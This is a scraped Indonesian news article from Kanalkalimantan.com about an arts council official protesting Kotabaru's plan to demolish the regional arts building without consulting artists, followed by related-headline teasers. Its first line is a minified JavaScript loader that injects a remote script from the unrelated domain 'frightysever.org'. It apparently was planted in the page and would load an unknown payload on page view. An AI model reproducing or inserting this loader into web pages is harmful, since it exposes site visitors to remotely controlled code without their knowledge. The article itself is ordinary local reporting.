(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Gedung Dewan Kesenian Daerah (DKD) Kotabaru bakal jadi kenangan. Rencana tersebut dihembuskan oleh pemerintah daerah. Bahkan, para seniman saja terkejut karena sebelumnya tidak ada koordinasi sehingga memuncukan reaksi pedas dari para penggiat seni di bumi Saijaan.
“Jelas ada Peraturan Daerahnya, nomor 26 tahun 2014 tentang perlindungan, pengembangan dan pemanfaatan kesenian,” cetus H Adi Soetomo, selaku Ketua Majelis Pertimbangan DKD Kotabaru, saat di wawancarai Kanalkalimantan, Minggu (22/1/23).
Lebih jauh dikatakan, pasal 18 Perda tersebut jelas tertulis, pemerintah daerah berkewajiban mengadakan gedung kesenian daerah dengan sarana dan prasarana yang memenuhi standar untuk kegiatan kesenian.
“Artinya kalau pemerintah tidak membangunkan kembali maka mereka sama saja melanggar Perda,” jelasnya kemudian.
Baca juga : Berbaur dengan Masyarakat, Bupati Banjar Hadiri Haul Ke-33 Guru Padang
Pada prinsipnya, sambungnya, para seniman di Kotabaru setuju saja dengan rencana pembongkaran itu. Hanya saja disayangkan pemerintah sama sekali tidak melakukan koordinasi sebelumnya kepada para penggiat seni, yang seharusnya dilakukan diawal sebelum perencanaan.
“Kalau nantinya dibongkar, pemerintah daerah mempunyai master plannya tidak, dan saya dengar ada salah satu Kepala Dinas yang memberikan informasi akan dibangun kembali di kawasan Siring Laut. Pertanyaan berikutnya adalah, dimana lokasinya dan kenapa harus mengorbankan bangunan yang sudah ada, sehingga pernyataan tersebut saya rasa hanya memberi angin segar saja namun terasa sulit untuk di realisasikan,” tegasnya.
Pihaknya akan meminta kepada kalangan legislatif untuk bisa menggelar rapat dengar pendapat bersama para pihak. Baik itu seniman, pemerintah daerah dan kalangan anggota dewan.
Baca juga : Balap Liar Kocar-kacir, Polsek Banjarbaru Utara Sita 10 Unit Motor Knalpot Brong
“Sekali lagi, kami sepakat saja dan mendukung upaya Bupati Kotabaru dalam hal peningkatan sektor pariwisata. Namun terkait rencana pembongkaran kenapa tidak dilakukan koordinasi sebelumnya kepada pengurus DKD dan para seniman lainnya,” tambahnya.
Menjadi harapannya, pemerintah mengurungkan niatnya dan melakukan pertemuan bersama sehingga ada kesepakatan yang diambil. “Mudah-mudahan rencana itu bisa diurungkan dulu. Kita adakan pertemuan untuk mengambil kesepakatan bersama, jangan main bongkar-bongkar saja tanpa adanya pemberitahuan,” pungkasnya. (Kanalkalimantan.com/muhammad)
Reporter : muhammad
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More
KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
This website uses cookies.